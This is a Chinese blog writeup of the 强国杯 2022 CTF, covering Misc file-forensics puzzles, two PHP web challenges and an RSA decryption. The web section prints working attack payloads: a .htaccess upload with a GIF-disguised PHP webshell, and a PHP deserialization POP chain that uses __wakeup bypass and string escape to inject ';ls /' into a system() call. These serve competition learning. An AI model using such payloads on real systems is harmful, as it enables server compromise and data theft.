iami233
iami233
文章128
标签35
分类4
强国杯 2022 Writeup

强国杯 2022 Writeup

写在前面

感觉比赛体验一般,可以理解毕竟这比赛是首届,8:59 准时蹲签到题,结果 9:01 才上签到题?!一开始我以为没有签到题…

赛题迷之崩(赛方说:flag回显成了默认值,所以得到的不是正确flag,下线维护题目,但是已经有十几只队伍提交成功了啊?!接着下线维护了所有 PWNWeb 题型,重新上线过后除一二三血,其他队伍均需要重新提交…

其次就是最后环境变成了这样,无法销毁,无法延时,无法重开,直接摆烂了,反正能进复赛就行了。

image-20220717184123508

Misc

Welcome_to_QGB

base64 解码得到flag

找找GIF

aaa 发现文件头是 png,我们直接改为 aaa.png

image-20220717010044434

改完很明显发现图少了半截,直接更改高度,改完旋转一下图像得到 bbb.zip 的解压密码 fHKKjfido%^&v1

image-20220717010254035

解压后得到 bbb 然后我们发现关键字符串 NETSCAPE2.0 这个字符串说明这个文件是 GIF

image-20220717010425862

我们加上文件头 47 49 46 38 39 61 ,同时文件名改为 bbb.gif 即可得到flag

image-20220717010918792

大佬大佬

lsb 隐写,直接导出为 flag.png

image-20220717011122132

然后修改文件高度即可

image-20220717011223763

The fun picture

爆破出密码为 6g3T

image-20220717011306242

解压后三个文件flagflag.txt 是用来迷惑我们的,通过16进制编辑器发现 FUN.png 实际上为 zip 压缩包文件, FUN.png 改为 FUN.zip 得到 flag3 ,然后发现 flag3 缺少 png 文件头 89 50 4e 47 ,添加后文件后缀改为 .png 扫码得到flag

image-20220717011626423

B@tCh

根据文件内容特征判断为 BatchEncryption[原创工具][201610]BatchEncryption - 批处理加密程序)加密后的文件,找了个解密脚本 还原BatchEncryption(201610版本)混淆的批处理文件

我们直接把第 17-19 行注释掉,同时 i 的值改为 9 。因为原本第 9-60 个字符为 ::BatchEncryption Build 201610 By gwsbhqt@163.com 字符串,但题目没有这个字符串,所以我们改为从第 9 个字符开始解密,(其实使用16进制编辑器在题目中加入这段字符串就不用修改脚本啦,但是感觉有点麻烦

image-20220717182638899

Web

Upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(1001000));
}
if(isset($_FILES['uploaded'])) {
    $target_path  getcwd() . "/upload/" . md5($_SESSION['user']);
    $t_path $target_path "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name $_FILES['uploaded']['name'];
    $uploaded_ext  substr($uploaded_namestrrpos($uploaded_name,'.') + 1);
    $uploaded_size $_FILES['uploaded']['size'];
    $uploaded_tmp  $_FILES['uploaded']['tmp_name'];
 
    if(preg_match("/ph/i"strtolower($uploaded_ext))){
        die("后缀名不可以有ph!");
    }
    else{
        if ((($_FILES["uploaded"]["type"] == "
            ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
            $content file_get_contents($uploaded_tmp);
            if(preg_match("/\<\?/i"$content)){
                die("em..........这不还是php吗");
            }
            else{
                mkdir(iconv("UTF-8""GBK"$target_path), 0777true);
                move_uploaded_file($uploaded_tmp$t_path);
                echo "{$t_path} succesfully uploaded!";
            }
        }
        else{
            die("上传类型这么明显!");
        }
    }
}
?>

黑盒测了一下,过滤了 phmime ,我们直接上传图片马,先上传一个 .htaccess 文件,把所有文件都当做 php 来执行

1
2
3
4
5
6
7
8
9
10
11
12
------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

SetHandler application/x-httpd-php

------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryrFspz4AKexD8h06m--

然后在用 JS 的方式写个 PHP 一句话,一开始写的最常见的一句话被过滤了,看了一下 phpinfo 发现命令执行函数全过滤掉了,反手使用内置函数,先用 var_dump()scandir() 函数打印指定目录内容

1
2
3
4
5
6
7
8
9
10
11
12
------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

GIF89a <script language="php">var_dump(scandir('/var/'))</script>

------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryrFspz4AKexD8h06m--

然后在使用 highlight_file() 函数读取文件内容,得到flag。

1
GIF89a <script language="php">highlight_file('/var/flag')</script>

ezpop_new

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
function filter($string) {
$safe = array('system', 'fopen', 'fread', 'file_get_contents', 'flag');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'nonono', $string);
}
class PingUtils {
function __call($name, $args) {
system("ping -c4 ${args[0]}");
}
}
class Cindy {
var $someone;
var $phone;
function call() {
$this->phone->call($this->someone);
}
}
class Bob {
public $flag = True;
public function __get($a) {
if ($this->flag) {
$cindy = new Cindy();
$cindy->someone = $_REQUEST['someone'];
$cindy->phone = "p50";
#var_dump(filter(serialize($cindy)));
$cindy = unserialize(filter(serialize($cindy)));
$cindy->call($someone);
} else {
echo 'nonono';
}
}
public function __wakeup() {
$this->flag = False;
}
}
class Alice {
public function __destruct() {
echo $this->c->b;
}
}
highlight_file(__FILE__);
@unserialize($_GET['pop']);

审计后,找到反序列化最终的落脚点在 class PingUtils::__call()中的 system("ping -c4 ${args[0]}"); ,我们能控制 args[0] 参数 ,而且只需通过命令分隔符;即可绕过 ping 命令执行想要的命令。那么一直往前推,即可找出整个POP链:

1
2
3
4
5
6
7
8
9
10
11
12
class Alice::__destruct()
echo $this->c->b;
class Bob::__wakeup() //绕过__wakeup()
class Bob::__get($a)
$cindy = unserialize(filter(serialize($cindy))); //字符串逃逸修改$cindy->phone
= "p50"为$cindy->phone = "ls /flag"
$cindy->call($someone);
class Cindy::call()
$this->phone->call($this->someone);
class PingUtils::__call($name,$args)
system("ping -c4 ${args[0]}");

反序列化过程中还涉及到了两个tricks:

绕过 __wakeup()

由于我们需要进入到 class Bob::__get($a)if 子句中,但 Bob 对象在反序列化时首先会触发__wakeup() ,从而使得其 flag 属性为 False 。所以我们通过手动修改序列化流, 使得序列化流中所表示的属性个数大于真实属性个数时,这样会跳过__wakeup() 魔术方法的执行。

编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php class Alice {
public $b;
public $c;
}
class Bob {
public $flag;
}
$a = new Alice();
$b = new Bob();
$b->flag = True;
$a->c = $b;
$a->b = 'unknow';
?>

# 手动修改序列化流:
# O:5:"Alice":3:{s:1:"b";s:6:"unknow";s:1:"c";O:3:"Bob":1:{s:4:"flag";b:1;}}
# O%3A5%3A%22Alice%22%3A3%3A%7Bs%3A1%3A%22b%22%3Bs%3A6%3A%22unknow%22%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22Bob%22%3A1%3A%7Bs%3A4%3A%22flag%22%3Bb%3A1%3B%7D%7D

这里修改Alice 的属性个数或者 Bob 的属性个数应该都可以。

PHP字符串逃逸

利用 $cindy->someone = $_REQUEST['someone']; 逃逸出字符串,从而覆盖 class Bob::__get($a)Cindy 对象的 phone 属性为 PingUtils 对象。而我们要执行命令也存储在 somesone 属性里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1.本地调试,打印出Cindy对象序列化后的流
"O:5:"Cindy":2:{s:7:"someone";s:12:"flagflagflag";s:5:"phone";s:3:"p50";}"

# 2.组织我们要逃逸出的内容。共35个字符
";s:5:"phone";O:9:"PingUtils":0:{}}

# 3.选用fopen关键字,被filter函数替换为nonono后就会溢出一个字符,因此需要35个fopen。
O:5:"Cindy":2:s:7:"someone";s:213:"fopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopen;ls/";s:5:"phone";O:9:"PingUtils":0:{}}";s:5:"phone";s:3:"p50";}

# 4.替换后就是,溢出35个字符
O:5:"Cindy":2:s:7:"someone";s:213:"nonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononono;ls /";s:5:"phone";O:9:"PingUtils":0:{}}";s:5:"phone";s:3:"p50";}

# URL编码
%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%3b%6c%73%20%2f%22%3b%73%3a%35%3a%22%70%68%6f%6e%65%22%3b%4f%3a%39%3a%22%50%69%6e%67%55%74%69%6c%73%22%3a%30%3a%7b%7d%7d

因此最后完整的payload就是:

1
/?pop=O%3A5%3A%22Alice%22%3A3%3A%7Bs%3A1%3A%22b%22%3Bs%3A6%3A%22unknow%22%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22Bob%22%3A1%3A%7Bs%3A4%3A%22flag%22%3Bb%3A1%3B%7D%7D&someone=%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%3b%6c%73%20%2f%22%3b%73%3a%35%3a%22%70%68%6f%6e%65%22%3b%4f%3a%39%3a%22%50%69%6e%67%55%74%69%6c%73%22%3a%30%3a%7b%7d%7d

Crypto

babyRSA

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
p = 138426212841397149251588296134109165537899310438173750798364671675288360000561798355248532054510396589533971267028332214842673811687883616744131130398289077554612883492204032984950562003356001139508926059499376562553551028636226548350263501563647121411422314575340826478224596800551927493501012088298680613879
q = 143049585916449723925099288769361999764006236021072588846981723369760726410300239985500007665844216512624584735358913225102358935263419564762626442560266419262555820476424949328464294635696200999314599615276252945343396324462380831303649657541178450608628341694003116451196859197001909770503494349726784153027
e = 33
c = 8289193595993122921665841895022976104081072031742625708463764526627277052318279883859957490142516216024577600646435489409922900157398525709897066174566802837502462355349783465478982642622084973551364981880045419080599645199823932885880822500635358984691098019833373137233421653021398144494548012693727095816659975325054446041806452350925160187980103112171629784199440456927010178848494443466141894033183475723365090593126309457761806861074583084445735295863195227044710706725657905516027928685083079534461311107335936896525014768633605005601716003989306032040278750752221002412831419560140443505534384151408234420458
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
h = hex(gmpy2.powmod(c, d, n))[2:]
if len(h) % 2 == 1:
h= '0' + h
print(h)

输出的内容16进制转字符串即为flag

本文作者:iami233
本文链接:https://5ime.cn/qgb-2022.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可